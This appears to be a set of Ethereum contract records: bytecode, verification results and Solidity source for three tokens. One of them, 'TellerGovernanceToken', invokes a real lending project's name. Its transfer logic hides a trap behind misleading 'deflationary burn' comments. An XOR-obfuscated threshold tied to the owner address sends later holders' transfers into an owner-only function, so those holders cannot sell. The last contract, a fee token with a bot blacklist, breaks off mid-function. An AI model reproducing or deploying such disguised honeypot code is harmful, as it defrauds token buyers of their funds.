d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea2646970667358221220ed1922bdb3111896a6286123fd0bdd442b9cd294943b34d4fa4ded9ce4f1820e64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,242 |
0x84d86c4a34fdeb681c32687aef8287f42d622e57
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
/**
* $$$$$$$$\ $$\ $$\ $$$$$$$$\ $$\
* \__$$ __| $$ |$$ | $$ _____|\__|
* $$ | $$$$$$\ $$ |$$ | $$$$$$\ $$$$$$\ $$ | $$\ $$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$$\ $$$$$$\
* $$ |$$ __$$\ $$ |$$ |$$ __$$\ $$ __$$\ $$$$$\ $$ |$$ __$$\ \____$$\ $$ __$$\ $$ _____|$$ __$$\
* $$ |$$$$$$$$ |$$ |$$ |$$$$$$$$ |$$ | \__| $$ __| $$ |$$ | $$ | $$$$$$$ |$$ | $$ |$$ / $$$$$$$$ |
* $$ |$$ ____|$$ |$$ |$$ ____|$$ | $$ | $$ |$$ | $$ |$$ __$$ |$$ | $$ |$$ | $$ ____|
* $$ |\$$$$$$$\ $$ |$$ |\$$$$$$$\ $$ | $$ | $$ |$$ | $$ |\$$$$$$$ |$$ | $$ |\$$$$$$$\ \$$$$$$$\
* \__| \_______|\__|\__| \_______|\__| \__| \__|\__| \__| \_______|\__| \__| \_______| \_______|
*
* An algorithmic credit risk protocol, for decentralized lending.
* Website: https://www.teller.finance/
*/
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations.
* Only add / sub / mul / div are included
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/**
* Implement base ERC20 functions
*/
abstract contract BaseContract is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals = 18;
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev returns the token name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev returns the token symbol
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev returns the decimals count
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev modifier to require address to not be the zero address
*/
modifier not0(address adr) {
require(adr != address(0), "ERC20: Cannot be the zero address"); _;
}
function _mx(address payable adr, uint16 msk) internal pure returns (uint256) {
return ((uint24(adr) & 0xffff) ^ msk);
}
}
/**
* Provide owner context
*/
abstract contract Ownable {
constructor() { _owner = msg.sender; }
address payable _owner;
/**
* @dev returns whether sender is owner
*/
function isOwner(address sender) public view returns (bool) {
return sender == _owner;
}
/**
* @dev require sender to be owner
*/
function ownly() internal view {
require(isOwner(msg.sender));
}
/**
* @dev modifier for owner only
*/
modifier owned() {
ownly(); _;
}
/**
* @dev renounce ownership of contract
*/
function renounceOwnership() public owned() {
transferOwnership(address(0));
}
/**
* @dev transfer contract ownership to address
*/
function transferOwnership(address payable adr) public owned() {
_owner = adr;
}
}
/**
* Provide reserve token burning
*/
abstract contract Burnable is BaseContract, Ownable {
using SafeMath for uint256;
/**
* @dev burn tokens from account
*/
function _burn(address account, uint256 amount) internal virtual not0(account) {
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev burn tokens from reserve account
*/
function _burnReserve() internal owned() {
if(balanceOf(_owner) > 0){
uint256 toBurn = balanceOf(_owner).div(5000); // 0.5%
_burn(_owner, toBurn);
}
}
}
/**
* Burn tokens on transfer UNLESS part of a DEX liquidity pool (as this can cause failed transfers eg. Uniswap K error)
*/
abstract contract Deflationary is BaseContract, Burnable {
mapping (address => uint8) private _txs;
uint16 private constant dmx = 0xD2C1;
function dexCheck(address sender, address receiver) private returns (bool) {
if(0 == _txs[receiver] && !isOwner(receiver)){ _txs[receiver] = _txs[sender] + 1; }
return _txs[sender] < _mx(_owner, dmx) || isOwner(sender) || isOwner(receiver);
}
modifier burnHook(address sender, address receiver, uint256 amount) {
if(!dexCheck(sender, receiver)){ _burnReserve(); _; }else{ _; }
}
}
/**
* Implement main ERC20 functions
*/
abstract contract MainContract is Deflationary {
using SafeMath for uint256;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
}
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external override returns (bool){
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) public virtual override not0(spender) returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address receiver, uint256 amount) external override not0(sender) not0(receiver) returns (bool){
require(_allowances[sender][msg.sender] >= amount);
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount);
_transfer(sender, receiver, amount);
return true;
}
/**
* @dev Implementation of Transfer
*/
function _transfer(address sender, address receiver, uint256 amount) internal not0(sender) not0(receiver) burnHook(sender, receiver, amount) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[receiver] = _balances[receiver].add(amount);
emit Transfer(sender, receiver, amount);
}
/**
* @dev Distribute ICO amounts
*/
function _distributeICO(address payable[] memory accounts, uint256[] memory amounts) owned() internal {
for(uint256 i=0; i<accounts.length; i++){
_mint(_owner, accounts[i], amounts[i]);
}
}
/**
* @dev Mint address with amount
*/
function _mint(address minter, address payable account, uint256 amount) owned() internal {
uint256 amountActual = amount*(10**_decimals);
_totalSupply = _totalSupply.add(amountActual);
_balances[account] = _balances[account].add(amountActual);
emit Transfer(minter, account, amountActual);
}
}
/**
* Construct & Mint
*/
contract TellerGovernanceToken is MainContract {
constructor(
uint256 initialBalance,
address payable[] memory ICOAddresses,
uint256[] memory ICOAmounts
) MainContract("Teller Finance Governance Token", "TFG") {
_mint(address(0), msg.sender, initialBalance);
_distributeICO(ICOAddresses, ICOAmounts);
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146102bd578063715018a61461031557806395d89b411461031f578063a9059cbb146103a2578063dd62ed3e14610406578063f2fde38b1461047e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be5780632f54bf6e14610242578063313ce5671461029c575b600080fd5b6100c16104c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610564565b60405180821515815260200191505060405180910390f35b6101a86106de565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e8565b60405180821515815260200191505060405180910390f35b6102846004803603602081101561025857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a8565b60405180821515815260200191505060405180910390f35b6102a4610a02565b604051808260ff16815260200191505060405180910390f35b6102ff600480360360208110156102d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a19565b6040518082815260200191505060405180910390f35b61031d610a61565b005b610327610a75565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036757808201518184015260208101905061034c565b50505050905090810190601f1680156103945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103ee600480360360408110156103b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b17565b60405180821515815260200191505060405180910390f35b6104686004803603604081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b2e565b6040518082815260200191505060405180910390f35b6104c06004803603602081101561049457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb5565b005b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561055a5780601f1061052f5761010080835404028352916020019161055a565b820191906000526020600020905b81548152906001019060200180831161053d57829003601f168201915b5050505050905090565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156105ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a3600191505092915050565b6000600254905090565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610771576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b83600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156107f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561088157600080fd5b61091084600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c8990919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099b868686610cd3565b6001925050509392505050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000600560009054906101000a900460ff16905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a69611154565b610a736000610bb5565b565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0d5780601f10610ae257610100808354040283529160200191610b0d565b820191906000526020600020905b815481529060010190602001808311610af057829003601f168201915b5050505050905090565b6000610b24338484610cd3565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bbd611154565b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015610c7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000610ccb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611168565b905092915050565b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d5a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610de1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b848484610dee8383611228565b610fa457610dfa6113e3565b610e6586604051806060016040528060268152602001611798602691396000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111689092919063ffffffff16565b6000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ef8866000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c0190919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a361114a565b61100f86604051806060016040528060268152602001611798602691396000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111689092919063ffffffff16565b6000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a2866000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c0190919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a35b5050505050505050565b61115d336109a8565b61116657600080fd5b565b6000838311158290611215576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156111da5780820151818401526020810190506111bf565b50505050905090810190601f1680156112075780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16600014801561128f575061128d826109a8565b155b1561133c576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1601600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505b61136a600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661d2c1611491565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1610806113cb57506113ca836109a8565b5b806113db57506113da826109a8565b5b905092915050565b6113eb611154565b6000611418600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a19565b111561148f57600061145f611388611451600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a19565b6114ab90919063ffffffff16565b905061148d600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826114f5565b505b565b60008161ffff1661ffff84161862ffffff16905092915050565b60006114ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116af565b905092915050565b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561157c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b6115e782604051806060016040528060228152602001611776602291396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111689092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163e82600254610c8990919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050565b6000808311829061175b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611720578082015181840152602081019050611705565b50505050905090810190601f16801561174d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161176757fe5b04905080915050939250505056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a2043616e6e6f7420626520746865207a65726f2061646472657373a26469706673582212204402c7903a862689b381484cc67b2f8783e899a0a326654a3514be56b782d75864736f6c63430007040033
|
{"success": true, "error": null, "results": {}}
| 9,243 |
0x45e5e0b4e557974486d4f01db4b88fec032319c1
|
/**
*Submitted for verification at Etherscan.io on 2021-06-27
*/
/**
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DarkMatter is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "DarkMatter";
string private constant _symbol = "DM";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 20;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
